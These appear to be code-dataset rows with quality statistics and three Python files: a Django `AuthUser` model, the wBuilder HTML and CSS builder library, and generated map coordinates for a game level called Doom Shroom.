0.769001
0.682563
0.682563
0.682563
0.682563
0
0
0.234063
1,051
41
61
25.634146
0.83354
0
0
0.647059
0
0
0.098953
0.045671
0
0
0
0
0.058824
1
0
false
0
0.117647
0
0.117647
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d6246df2bc8e8f3babd8ff9d59729f75cc905366
665
py
Python
accounts/models.py
Nkarnaud/mywebsite
ea37eb0e5901348bd96e66110c0120cb437b5ea9
[ "MIT" ]
null
null
null
accounts/models.py
Nkarnaud/mywebsite
ea37eb0e5901348bd96e66110c0120cb437b5ea9
[ "MIT" ]
3
2019-04-26T21:35:38.000Z
2019-04-26T21:36:37.000Z
accounts/models.py
Nkarnaud/mywebsite
ea37eb0e5901348bd96e66110c0120cb437b5ea9
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import User # Create your models here. class AuthUser(models.Model): user = models.OneToOneField(User,on_delete=models.CASCADE) password = models.CharField(max_length=128) last_login = models.DateTimeField(blank=True, null=True) is_superuser = models.IntegerField() username = models.CharField(unique=True, max_length=150) first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=150) email = models.CharField(max_length=254) is_staff = models.IntegerField() is_active = models.IntegerField() date_joined = models.DateTimeField()
36.944444
62
0.754887
86
665
5.686047
0.511628
0.153374
0.147239
0.196319
0.114519
0
0
0
0
0
0
0.024605
0.144361
665
18
63
36.944444
0.834798
0.03609
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0.071429
0.142857
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
d62a867bef6c86fcc53be34656722c962f08e976
40,232
py
Python
wbuilder/wbuilder.py
rmaniego/wbuilder
062285961ea5f5401e07960264eadb484c042cbd
[ "MIT" ]
6
2020-03-09T14:16:57.000Z
2020-12-26T04:17:40.000Z
wbuilder/wbuilder.py
rmaniego/wbuilder
062285961ea5f5401e07960264eadb484c042cbd
[ "MIT" ]
null
null
null
wbuilder/wbuilder.py
rmaniego/wbuilder
062285961ea5f5401e07960264eadb484c042cbd
[ "MIT" ]
null
null
null
""" wBuilder v2.0 (c) 2020 Rodney Maniego Jr. https://github.com/rmaniego/wbuilder MIT License """ import os import html5lib from bs4 import BeautifulSoup as bs class WebBuilder: def __init__(self, html="<!doctype html>"): """ Initialize class as an HTML document or a snippet ... Parameters --- html: string any valid html string """ ## main html self.html_filepath = "" self.html_filename = "" self.html = parse(html) self.stylesheet = {} self.css_fonts = {} self.parent = None ## temporary tag self.Tag = "div" self.attributes = {} self.attributes.update({"id": ""}) self.attributes.update({"class": ""}) self.Content = "" self.html_escape = True def at(self, selector): """ Finds the selector in the HTML object, else fails (deprecated) ... Parameters --- selector: string the element tag, id, class present in the HTML object, always the first element found """ self.parent = None self.Tag = "div" insert_at = self.html.select(selector) if len(insert_at) >= 1: self.parent = insert_at[0] return self def find(self, selector): """ Deprecated method, similar to at() """ self.at(selector) return self def attrs(self, selector, attribute, value, index=-1, attrs=None): """ Search ... Parameters --- selector: string valid html/css selector attribute: string valid html5 element attribute value: string value of the attribute index: int specific index to change; if -1, change all attrs: dict """ found = {} if attrs is None: found = self.html.findAll(selector) else: if isinstance(attrs, dict): found = self.html.findAll(selector, attrs) count = len(found) if count > 0: if not isinstance(index, int): index = -1 if index == -1: for i in range(0, count): found[i].attrs.update({attribute: value}) else: if index >= count: index = count - 1 found[index].attrs.update({attribute: value}) return self def element(self, tag, Id="", Class=""): """ Initializes the element with its basic attributes ... Parameters --- tag: string any valid HTML5 tag Id: string unique string Class: string useful when designing with CSS """ if self.parent != None: self.Tag = verify(tag) if Id != "": self.attributes.update({"id": Id}) if Class != "": self.attributes.update({"class": Class}) return self ### element tags / shortcuts def a(self, Id="", Class=""): self.element("a", Id=Id, Class=Class) return self def abbr(self, Id="", Class=""): self.element("abbr", Id=Id, Class=Class) return self def acronym(self, Id="", Class=""): self.element("acronym", Id=Id, Class=Class) return self def address(self, Id="", Class=""): self.element("address", Id=Id, Class=Class) return self def applet(self, Id="", Class=""): self.element("applet", Id=Id, Class=Class) return self def area(self, Id="", Class=""): self.element("area", Id=Id, Class=Class) return self def article(self, Id="", Class=""): self.element("article", Id=Id, Class=Class) return self def aside(self, Id="", Class=""): self.element("aside", Id=Id, Class=Class) return self def audio(self, Id="", Class=""): self.element("audio", Id=Id, Class=Class) return self def b(self, Id="", Class=""): self.element("b", Id=Id, Class=Class) return self def base(self, Id="", Class=""): self.element("base", Id=Id, Class=Class) return self def basefont(self, Id="", Class=""): self.element("basefont", Id=Id, Class=Class) return self def bdi(self, Id="", Class=""): self.element("bdi", Id=Id, Class=Class) return self def bdo(self, Id="", Class=""): self.element("bdo", Id=Id, Class=Class) return self def big(self, Id="", Class=""): self.element("big", Id=Id, Class=Class) return self def blockquote(self, Id="", Class=""): self.element("blockquote", Id=Id, Class=Class) return self def body(self, Id="", Class=""): self.element("body", Id=Id, Class=Class) return self def br(self, Id="", Class=""): self.element("br", Id=Id, Class=Class) return self def button(self, Id="", Class=""): self.element("button", Id=Id, Class=Class) return self def canvas(self, Id="", Class=""): self.element("canvas", Id=Id, Class=Class) return self def caption(self, Id="", Class=""): self.element("caption", Id=Id, Class=Class) return self def center(self, Id="", Class=""): self.element("center", Id=Id, Class=Class) return self def cite(self, Id="", Class=""): self.element("cite", Id=Id, Class=Class) return self def code(self, Id="", Class=""): self.element("code", Id=Id, Class=Class) return self def col(self, Id="", Class=""): self.element("col", Id=Id, Class=Class) return self def colgroup(self, Id="", Class=""): self.element("colgroup", Id=Id, Class=Class) return self def data(self, Id="", Class=""): self.element("data", Id=Id, Class=Class) return self def datalist(self, Id="", Class=""): self.element("datalist", Id=Id, Class=Class) return self def dd(self, Id="", Class=""): self.element("dd", Id=Id, Class=Class) return self def Del(self, Id="", Class=""): self.element("del", Id=Id, Class=Class) return self def details(self, Id="", Class=""): self.element("details", Id=Id, Class=Class) return self def dfn(self, Id="", Class=""): self.element("dfn", Id=Id, Class=Class) return self def dialog(self, Id="", Class=""): self.element("dialog", Id=Id, Class=Class) return self def dir(self, Id="", Class=""): self.element("dir", Id=Id, Class=Class) return self def div(self, Id="", Class=""): self.element("div", Id=Id, Class=Class) return self def dl(self, Id="", Class=""): self.element("dl", Id=Id, Class=Class) return self def dt(self, Id="", Class=""): self.element("dt", Id=Id, Class=Class) return self def em(self, Id="", Class=""): self.element("em", Id=Id, Class=Class) return self def embed(self, Id="", Class=""): self.element("embed") return self def fieldset(self, Id="", Class=""): self.element("fieldset") return self def figcaption(self, Id="", Class=""): self.element("figcaption") return self def figure(self, Id="", Class=""): self.element("figure") return self def font(self, Id="", Class=""): self.element("font") return self def footer(self, Id="", Class=""): self.element("footer", Id=Id, Class=Class) return self def form(self, Id="", Class=""): self.element("form", Id=Id, Class=Class) return self def frame(self, Id="", Class=""): self.element("frame", Id=Id, Class=Class) return self def frameset(self, Id="", Class=""): self.element("frameset", Id=Id, Class=Class) return self def h1(self, Id="", Class=""): self.element("h1", Id=Id, Class=Class) return self def h2(self, Id="", Class=""): self.element("h2", Id=Id, Class=Class) return self def h3(self, Id="", Class=""): self.element("h3", Id=Id, Class=Class) return self def h4(self, Id="", Class=""): self.element("h4", Id=Id, Class=Class) return self def h5(self, Id="", Class=""): self.element("h5", Id=Id, Class=Class) return self def h6(self, Id="", Class=""): self.element("h6", Id=Id, Class=Class) return self def head(self, Id="", Class=""): self.element("head", Id=Id, Class=Class) return self def header(self, Id="", Class=""): self.element("header", Id=Id, Class=Class) return self def hr(self, Id="", Class=""): self.element("hr", Id=Id, Class=Class) return self def html(self, Id="", Class=""): self.element("html", Id=Id, Class=Class) return self def i(self, Id="", Class=""): self.element("i", Id=Id, Class=Class) return self def iframe(self, Id="", Class=""): self.element("iframe", Id=Id, Class=Class) return self def img(self, Id="", Class=""): self.element("img", Id=Id, Class=Class) return self def Input(self, Id="", Class=""): self.element("input", Id=Id, Class=Class) return self def ins(self, Id="", Class=""): self.element("ins", Id=Id, Class=Class) return self def kbd(self, Id="", Class=""): self.element("kbd", Id=Id, Class=Class) return self def label(self, Id="", Class=""): self.element("label", Id=Id, Class=Class) return self def legend(self, Id="", Class=""): self.element("legend", Id=Id, Class=Class) return self def li(self, Id="", Class=""): self.element("li", Id=Id, Class=Class) return self def link(self, Id="", Class=""): self.element("link", Id=Id, Class=Class) return self def main(self, Id="", Class=""): self.element("main", Id=Id, Class=Class) return self def map(self, Id="", Class=""): self.element("map", Id=Id, Class=Class) return self def mark(self, Id="", Class=""): self.element("mark", Id=Id, Class=Class) return self def meta(self, Id="", Class=""): self.element("meta", Id=Id, Class=Class) return self def meter(self, Id="", Class=""): self.element("meter", Id=Id, Class=Class) return self def nav(self, Id="", Class=""): self.element("nav", Id=Id, Class=Class) return self def noframes(self, Id="", Class=""): self.element("noframes", Id=Id, Class=Class) return self def noscript(self, Id="", Class=""): self.element("noscript", Id=Id, Class=Class) return self def object(self, Id="", Class=""): self.element("object") def ol(self, Id="", Class=""): self.element("ol", Id=Id, Class=Class) return self def optgroup(self, Id="", Class=""): self.element("optgroup", Id=Id, Class=Class) return self def option(self, Id="", Class=""): self.element("option", Id=Id, Class=Class) return self def output(self, Id="", Class=""): self.element("output", Id=Id, Class=Class) return self def p(self, Id="", Class=""): self.element("p", Id=Id, Class=Class) return self def param(self, Id="", Class=""): self.element("param", Id=Id, Class=Class) return self def picture(self, Id="", Class=""): self.element("picture", Id=Id, Class=Class) return self def pre(self, Id="", Class=""): self.element("pre", Id=Id, Class=Class) return self def progress(self, Id="", Class=""): self.element("progress", Id=Id, Class=Class) return self def q(self, Id="", Class=""): self.element("q", Id=Id, Class=Class) return self def rp(self, Id="", Class=""): self.element("rp", Id=Id, Class=Class) return self def rt(self, Id="", Class=""): self.element("rt", Id=Id, Class=Class) return self def ruby(self, Id="", Class=""): self.element("ruby", Id=Id, Class=Class) return self def s(self, Id="", Class=""): self.element("s", Id=Id, Class=Class) return self def samp(self, Id="", Class=""): self.element("samp", Id=Id, Class=Class) return self def script(self, Id="", Class=""): self.element("script", Id=Id, Class=Class) return self def select(self, Id="", Class=""): self.element("select", Id=Id, Class=Class) return self def small(self, Id="", Class=""): self.element("small", Id=Id, Class=Class) return self def source(self, Id="", Class=""): self.element("source", Id=Id, Class=Class) return self def span(self, Id="", Class=""): self.element("span", Id=Id, Class=Class) return self def strike(self, Id="", Class=""): self.element("strike", Id=Id, Class=Class) return self def strong(self, Id="", Class=""): self.element("strong", Id=Id, Class=Class) return self def style(self, Id="", Class=""): self.element("style", Id=Id, Class=Class) return self def sub(self, Id="", Class=""): self.element("sub", Id=Id, Class=Class) return self def summary(self, Id="", Class=""): self.element("summary", Id=Id, Class=Class) return self def sup(self, Id="", Class=""): self.element("sup", Id=Id, Class=Class) return self def svg(self, Id="", Class=""): self.element("svg", Id=Id, Class=Class) return self def table(self, Id="", Class=""): self.element("table", Id=Id, Class=Class) return self def tbody(self, Id="", Class=""): self.element("tbody", Id=Id, Class=Class) return self def td(self, Id="", Class=""): self.element("td", Id=Id, Class=Class) return self def template(self, Id="", Class=""): self.element("template", Id=Id, Class=Class) return self def textarea(self, Id="", Class=""): self.element("textarea", Id=Id, Class=Class) return self def tfoot(self, Id="", Class=""): self.element("tfoot", Id=Id, Class=Class) return self def th(self, Id="", Class=""): self.element("th", Id=Id, Class=Class) return self def thead(self, Id="", Class=""): self.element("thead", Id=Id, Class=Class) return self def Time(self, Id="", Class=""): self.element("time", Id=Id, Class=Class) return self def title(self, Id="", Class=""): self.element("title", Id=Id, Class=Class) return self def tr(self, Id="", Class=""): self.element("tr", Id=Id, Class=Class) return self def track(self, Id="", Class=""): self.element("track", Id=Id, Class=Class) return self def u(self, Id="", Class=""): self.element("u", Id=Id, Class=Class) return self def ul(self, Id="", Class=""): self.element("ul", Id=Id, Class=Class) return self def var(self, Id="", Class=""): self.element("var") return self def video(self, Id="", Class=""): self.element("video") return self def wbr(self, Id="", Class=""): self.element("wbr") return self ### content data def text(self, value, escape=True): self.html_escape = escape self.Content = value return self def html_string(self, value): self.html_escape = False self.Content = value return self ### attributes def attr(self, key, val): if self.parent != None: self.attributes.update({key: val}) return self def action(self, val): if self.parent != None: self.attributes.update({"action": val}) return self def accesskey(self, val): if self.parent != None: self.attributes.update({"accesskey": val}) return self def align(self, val): if self.parent != None: if val in ["right", "left", "center"]: self.attributes.update({"align": val}) return self def alt(self, val): if self.parent != None: self.attributes.update({"alt": val}) return self def aria(self, key, val): if self.parent != None: self.attributes.update({f"aria-{key}": val}) return self def Async(self): if self.parent != None: self.attributes.update({"async": ""}) return self def autocomplete(self, val): if self.parent != None: if val in ["on", "off"]: self.attributes.update({"autocomplete": val}) return self def autofocus(self): if self.parent != None: self.attributes.update({"autofocus": ""}) return self def background(self, val): if self.parent != None: self.attributes.update({"background": val}) return self def bgcolor(self, val): if self.parent != None: self.attributes.update({"bgcolor": val}) return self def charset(self, val): if self.parent != None: self.attributes.update({"charset": val}) return self def checked(self): if self.parent != None: self.attributes.update({"checked": "true"}) return self """ def Class(self, val): # use element shortcuts if self.parent != None: self.attributes.update({"class": val}) return self """ def content(self, val): if self.parent != None: self.attributes.update({"content": val}) return self def contenteditable(self, val): if self.parent != None: if val in ["true", "false"]: self.attributes.update({"contenteditable": val}) return self def contextmenu(self, val): if self.parent != None: self.attributes.update({"contextmenu": val}) return self def crossorigin(self, val): if self.parent != None: self.attributes.update({"crossorigin": val}) return self def data(self, key, val): if self.parent != None: data_key = "data" if key != "": data_key = f"data-{key}" self.attributes.update({data_key: val}) return self def defer(self): if self.parent != None: self.attributes.update({"defer": ""}) return self def For(self, val): if self.parent != None: self.attributes.update({"for": val}) return self def disabled(self): if self.parent != None: self.attributes.update({"disabled": ""}) return self def draggable(self, val): if self.parent != None: if val in ["true", "false", "auto"]: self.attributes.update({"draggable": val}) return self def height(self, val): if self.parent != None: self.attributes.update({"height": val}) return self def hidden(self): if self.parent != None: self.attributes.update({"hidden": ""}) return self def href(self, val, cached=True): if self.parent != None: ts = str(timestamp()) if not cached: if "?" in val: val = f"{val}&t={ts}" else: val = f"{val}?t={ts}" self.attributes.update({"href": val}) return self """ def Id(self, val): # use element shortcuts if self.parent != None: self.attributes.update({"id": val}) return self """ def icon(self, val): if self.parent != None: self.attributes.update({"icon": val}) return self def integrity(self, val): if self.parent != None: self.attributes.update({"integrity": val}) return self def item(self, val): if self.parent != None: self.attributes.update({"item": val}) return self def itmprop(self, val): if self.parent != None: self.attributes.update({"itmprop": val}) return self def maxlength(self, val): if self.parent != None: self.attributes.update({"maxlength": val}) return self def List(self, val): if self.parent != None: self.attributes.update({"list": val}) return self def method(self, val): if self.parent != None: if val in ["post", "get"]: self.attributes.update({"method": val}) return self def minlength(self, val): if self.parent != None: self.attributes.update({"minlength": val}) return self def name(self, val): if self.parent != None: self.attributes.update({"name": val}) return self def onclick(self, val): if self.parent != None: self.attributes.update({"onclick": val}) return self def placeholder(self, val): if self.parent != None: self.attributes.update({"placeholder": val}) return self def readonly(self): if self.parent != None: self.attributes.update({"readonly": ""}) return self def rel(self, val): if self.parent != None: self.attributes.update({"rel": val}) return self def required(self): if self.parent != None: self.attributes.update({"required": ""}) return self def role(self, val): if self.parent != None: self.attributes.update({"role": val}) return self def sizes(self, val): if self.parent != None: self.attributes.update({"sizes": val}) return self def spellcheck(self, val): if self.parent != None: if val in ["true", "false"]: self.attributes.update({"spellcheck": val}) return self def src(self, val, cached=True): if self.parent != None: ts = str(timestamp()) if not cached: if "?" in val: val = f"{val}&t={ts}" else: val = f"{val}?t={ts}" self.attributes.update({"src": val}) return self def style(self, val): if self.parent != None: self.attributes.update({"style": val}) return self def subject(self, val): if self.parent != None: self.attributes.update({"subject": val}) return self def tabindex(self, val): if self.parent != None: self.attributes.update({"tabindex": val}) return self def target(self, val): if self.parent != None: self.attributes.update({"target": val}) return self """ def title(self, val): # will find a workaround for this if self.parent != None: self.attributes.update({"title": val}) return self """ def Type(self, val): if self.parent != None: self.attributes.update({"type": val}) return self def valign(self, val): if self.parent != None: if val in ["top", "middle", "bottom"]: self.attributes.update({"valign": val}) return self def value(self, val): if self.parent != None: self.attributes.update({"value": val}) return self def width(self, val): if self.parent != None: self.attributes.update({"width": val}) return self ### css def css(self, selector, properties): data = {} if type(properties) == dict: data = self.stylesheet.get(selector, {}) data.update(properties) elif type(properties) == str: for item in properties.split(";"): if item.strip() != "": property, value = item.split(":") data.update({property.strip(): value.strip()}) self.stylesheet.update({selector: data}) return self def font(self, font, filename): self.css_fonts.update({font: filename}) return self ### utils def append(self, html, static=False, clear=True): """ Parses the HTML snippet and append it to its parent element ... Parameters --- html: string any valid HTML string static: boolean for files located in the server clear: boolean clear element data """ parsed = parse(html) if static: tag = "link" attr = "href" if "<script" in html: tag = "script" attr = "src" elif "<img" in html: tag = "img" attr = "src" for item in parsed.find_all(tag): source = item.attrs[attr] item.attrs[attr] = f"{{{{ url_for('static', filename='{source}') }}}}" ## append to parent self.parent.append(parsed) ## clean footprint if clear: self.parent = None self.Tag = "div" self.attributes = {} self.Content = "" self.html_escape = True return self def done(self, static=False, clear=True): """ Compiles the element and append it to its parent element ... Parameters --- static: boolean for files located in the server clear: boolean clear element data """ html = mkTag(self.Tag, compile_attribs(self.attributes), self.Content, self.html_escape) self.append(html, static=static, clear=clear) return self def build(self): return self.html.prettify() def save_to_html(self, filepath="", filename=""): if filename == "": filename = "page.html" if filename[-5:] != ".html": filename = f"{filename}.html" fullpath = filename if filepath != "": make_dirs(filepath) fullpath = f"{filepath}/{filename}" file_write(fullpath, self.html.prettify()) return self def save_stylesheet(self, filepath="", filename="", strict=False, sort=False): """ Save stylesheet to file ... Parameters --- filepath: string directory of the stylesheet filename: string filename of the stylesheet strict: boolean only add properties found in allowlist sort: boolean sort the selectors and its properties """ ## re-use css class stylesheet = Css(self.stylesheet, self.css_fonts, strict=strict, sort=sort) stylesheet.clean().save(filepath, filename) class Css: def __init__(self, stylesheet={}, fonts={}, strict=False, sort=False): """ Initialize CSS class ... Parameters --- stylesheet: dict a valid dictionary of selectors and proprties strict: boolean only add properties found in allowlist sort: boolean sort the selectors and its properties """ self.stylesheet = stylesheet self.css_fonts = fonts self.strict = strict self.sort = sort self.allowlist = ["align-content", "align-items", "align-self", "animation", "animation-delay", "animation-direction", "animation-duration", "animation-fill-mode", "animation-iteration-count", "animation-name", "animation-play-state", "animation-timing-function", "backface-visibility", "background", "background-attachment", "background-clip", "background-color", "background-image", "background-origin", "background-position", "background-repeat", "background-size", "border", "border-bottom", "border-bottom-color", "border-bottom-left-radius", "border-bottom-right-radius", "border-bottom-style", "border-bottom-width", "border-collapse", "border-color", "border-image", "border-image-outset", "border-image-repeat", "border-image-slice", "border-image-source", "border-image-width", "border-left", "border-left-color", "border-left-style", "border-left-width", "border-radius", "border-right", "border-right-color", "border-right-style", "border-right-width", "border-spacing", "border-style", "border-top", "border-top-color", "border-top-left-radius", "border-top-right-radius", "border-top-style", "border-top-width", "border-width", "bottom", "box-shadow", "box-sizing", "caption-side", "clear", "clip", "color", "column-count", "column-fill", "column-gap", "column-rule", "column-rule-color", "column-rule-style", "column-rule-width", "column-span", "column-width", "columns", "content", "counter-increment", "counter-reset", "cursor", "direction", "display", "empty-cells", "flex", "flex-basis", "flex-direction", "flex-flow", "flex-grow", "flex-shrink", "flex-wrap", "float", "font", "font-family", "font-size", "font-size-adjust", "font-stretch", "font-style", "font-variant", "font-weight", "height", "justify-content", "left", "letter-spacing", "line-height", "list-style", "list-style-image", "list-style-position", "list-style-type", "margin", "margin-bottom", "margin-left", "margin-right", "margin-top", "max-height", "max-width", "min-height", "min-width", "opacity", "order", "outline", "outline-color", "outline-offset", "outline-style", "outline-width", "overflow", "overflow-x", "overflow-y", "padding", "padding-bottom", "padding-left", "padding-right", "padding-top", "page-break-after", "page-break-before", "page-break-inside", "perspective", "perspective-origin", "position", "quotes", "resize", "right", "tab-size", "table-layout", "text-align", "text-align-last", "text-decoration", "text-decoration-color", "text-decoration-line", "text-decoration-style", "text-indent", "text-justify", "text-overflow", "text-shadow", "text-transform", "top", "transform", "transform-origin", "transform-style", "transition", "transition-delay", "transition-duration", "transition-property", "transition-timing-function", "vertical-align", "visibility", "white-space", "width", "word-break", "word-spacing", "word-wrap", "z-index"] def clean(self): """ Use when adding bulk selectors, removes unsupported properties """ stylesheet = {} if type(self.stylesheet) == dict: for selector, data in self.stylesheet.items(): if self.strict: for property in data: if property not in self.allowlist: data.pop(property) stylesheet.update({selector: data}) self.stylesheet = stylesheet return self def add(self, selector, data): """ Update selector with a dictionary of property-value pairs ... Parameters --- selector: string CSS selector data: dictionary property-value pairs """ if type(data) == dict: if self.strict: for property in data: if property not in self.allowlist: data.pop(property) temp = self.stylesheet.get(selector, {}) self.stylesheet.update({selector: {}}) temp.update(data) self.stylesheet.update({selector: temp}) return self def add_from_string(self, selector, properties): """ Update selector with a dictionary of property-value pairs ... Parameters --- selector: string CSS selector properties: string property-value pairs as string """ if type(properties) == str: for item in properties.split(";"): if item.strip() != "": property, value = item.split(":") self.update(selector, property.strip(), value.strip()) return self def update(self, selector, property, value): if not self.strict or property in self.allowlist: data = self.stylesheet.get(selector, {}) data.update({property: value}) self.stylesheet.update({selector: {}}) self.stylesheet.update({selector: data}) return self def get(self, selector): """ Returns the property-value pairs of the selector ... Parameters --- selector: string CSS selector """ return self.stylesheet.get(selector, {}) def remove(self, selector): """ Removes the selector from the stylesheet ... Parameters --- selector: string CSS selector """ self.stylesheet.pop(selector, None) return self def build(self): """ Returns a parsed, plain-text version of the stylesheet """ stylesheet = [] for selector, data in self.stylesheet.items(): attributes = [] if self.sort: data = dict(sorted(data.items())) for attr, value in data.items(): attributes.append(f"{attr}: {value};") cleaned = " ".join(attributes) stylesheet.append(f"{selector} {{ {cleaned} }} ") if self.sort: stylesheet.sort() for name, source in self.css_fonts.items(): stylesheet.insert(0, f"@font-face {{ font-family: {name}; src: url('{source}'); }}") return "\n".join(stylesheet) def save(self, filepath="", filename=""): """ Save the ... Parameters --- filepath: string directory of the stylesheet filename: string filename of the stylesheet """ if filename == "": filename = "design.css" if filename[-4:] != ".css": filename = f"{filename}.css" fullpath = filename if filepath != "": make_dirs(filepath) fullpath = f"{filepath}/{filename}" file_write(fullpath, self.build()) return self class FromJSONBuild: def __init__(self, json, document=None): self.json = None if isinstance(json, dict): self.json = json self.document = None if isinstance(document, str): self.document = document def append(self, json): if isinstance(json, dict): self.json.update(json) return self def clear(self): self.json = None return self def build(self): self.html = WebBuilder(self.document) for element in self.json.values(): tag = element.get("tag", "") selector = element.get("selector", "body") blocklist = ("selector", "tag", "Id", "Class", "static", "index") if tag != "": self.html.at(selector) Id = element.get("Id", "") Class = element.get("Class", "") self.html.element(tag, Id, Class) for key, value in element.items(): if key not in blocklist: if key == "text": self.html.text(value) elif key == "html_string": self.html.html_string(value) else: self.html.attr(key, value) static = False if element.get("static", "") == "True": static = True self.html.done(static=static) else: index = element.get("index", -1) for key, value in element.items(): if key not in blocklist: self.html.attrs(selector, key, value, index=index) return self.html.build() ### html utils def parse(html): if "!doctype" not in html: return bs(html, 'html.parser') return bs(html, "html5lib") def mkTag(tag, attribs="", content="", html_escape=True): tag = verify(tag) data = attribs if type(attribs) == dict: data = compile_attribs(attribs) if data != "": data = data.strip() data = f" {data}" if html_escape: content = escape(content) if tag not in ["meta", "link", "br", "input", "img"]: return f"<{tag} {data} >{content}</{tag}>" else: return f"<{tag} {data} />" def verify(tag): if tag not in [ "a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "h6", "head", "header", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "label", "legend", "li", "link", "main", "map", "mark", "meta", "meter", "nav", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "small", "source", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr"]: return "div" return tag def compile_attribs(attributes): formatted = [] if type(attributes) == dict: for key, value in attributes.items(): if value != "": if key not in ["async", "defer", "disabled", "hidden", "readonly", "required"]: formatted.append(f"{key}='{value}'") else: formatted.append(key) return " ".join(formatted) ## utils def escape(text): """ Escape HTML characters """ # https://stackoverflow.com/a/2077321/4943299 html_escape_table = { "&": "&amp;", '"': "&quot;", "'": "&apos;", ">": "&gt;", "<": "&lt;" } return "".join(html_escape_table.get(c, c) for c in text) def timestamp(): import time return int(time.time()) def depth(value, increment=1): value = value + increment if value < 0: return 0 return value ## file utils def make_dirs(filepath): if not os.path.exists(filepath): os.makedirs(filepath) def file_write(filepath, content, flag="w+"): try: with open(filepath, flag) as file: return file.write(content) except: return ""
31.284603
2,855
0.524533
4,519
40,232
4.657668
0.104227
0.078487
0.11488
0.085519
0.496769
0.347206
0.336897
0.177594
0.154409
0.085376
0
0.002017
0.322281
40,232
1,286
2,856
31.284603
0.769933
0.066589
0
0.359777
0
0
0.121359
0.007818
0
0
0
0
0
1
0.231285
false
0
0.004469
0.001117
0.469274
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
d62cc0ad7bca835bf58785ec934a0b49bac7f4ab
3,228
py
Python
assets/src/ba_data/python/bastd/mapdata/doom_shroom.py
SahandAslani/ballistica
7e3814cd2a1920ea8f5820cb1cdbb4dc5420d30e
[ "MIT" ]
2
2020-07-02T22:18:58.000Z
2020-07-02T22:19:49.000Z
assets/src/ba_data/python/bastd/mapdata/doom_shroom.py
MalTarDesigns/ballistica
c38ae5c39b3cc7985be166a959245ca060d3bf31
[ "MIT" ]
null
null
null
assets/src/ba_data/python/bastd/mapdata/doom_shroom.py
MalTarDesigns/ballistica
c38ae5c39b3cc7985be166a959245ca060d3bf31
[ "MIT" ]
null
null
null
# Copyright (c) 2011-2020 Eric Froemling # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # ----------------------------------------------------------------------------- # This file was automatically generated from "doom_shroom.ma" # pylint: disable=all points = {} # noinspection PyDictCreation boxes = {} boxes['area_of_interest_bounds'] = (0.4687647786, 2.320345088, -3.219423694) + (0.0, 0.0, 0.0) + ( 21.34898078, 10.25529817, 14.67298352) points['ffa_spawn1'] = (-5.828122667, 2.301094498, -3.445694701) + (1.0, 1.0, 2.682935578) points['ffa_spawn2'] = (6.496252674, 2.397778847, -3.573241388) + (1.0, 1.0, 2.682935578) points['ffa_spawn3'] = (0.8835145921, 2.307217208, -0.3552854962) + (4.455517747, 1.0, 0.2723037175) points['ffa_spawn4'] = (0.8835145921, 2.307217208, -7.124335491) + (4.455517747, 1.0, 0.2723037175) points['flag1'] = (-7.153737138, 2.251993091, -3.427368878) points['flag2'] = (8.103769491, 2.320591215, -3.548878069) points['flag_default'] = (0.5964565429, 2.373456481, -4.241969517) boxes['map_bounds'] = (0.4566560559, 1.332051421, -3.80651373) + ( 0.0, 0.0, 0.0) + (27.75073129, 14.44528216, 22.9896617) points['powerup_spawn1'] = (5.180858712, 4.278900266, -7.282758712) points['powerup_spawn2'] = (-3.236908759, 4.159702067, -0.3232556512) points['powerup_spawn3'] = (5.082843398, 4.159702067, -0.3232556512) points['powerup_spawn4'] = (-3.401729203, 4.278900266, -7.425891191) points['shadow_lower_bottom'] = (0.5964565429, -0.2279530265, 3.368035253) points['shadow_lower_top'] = (0.5964565429, 0.6982784189, 3.368035253) points['shadow_upper_bottom'] = (0.5964565429, 5.413250948, 3.368035253) points['shadow_upper_top'] = (0.5964565429, 7.891484473, 3.368035253) points['spawn1'] = (-5.828122667, 2.301094498, -3.445694701) + (1.0, 1.0, 2.682935578) points['spawn2'] = (6.496252674, 2.397778847, -3.573241388) + (1.0, 1.0, 2.682935578)
59.777778
79
0.638476
418
3,228
4.87799
0.454545
0.01177
0.01177
0.01177
0.204022
0.177538
0.138303
0.109858
0.103973
0.103973
0
0.305873
0.214064
3,228
53
80
60.90566
0.497832
0.385688
0
0.1
0
0
0.118938
0.011741
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
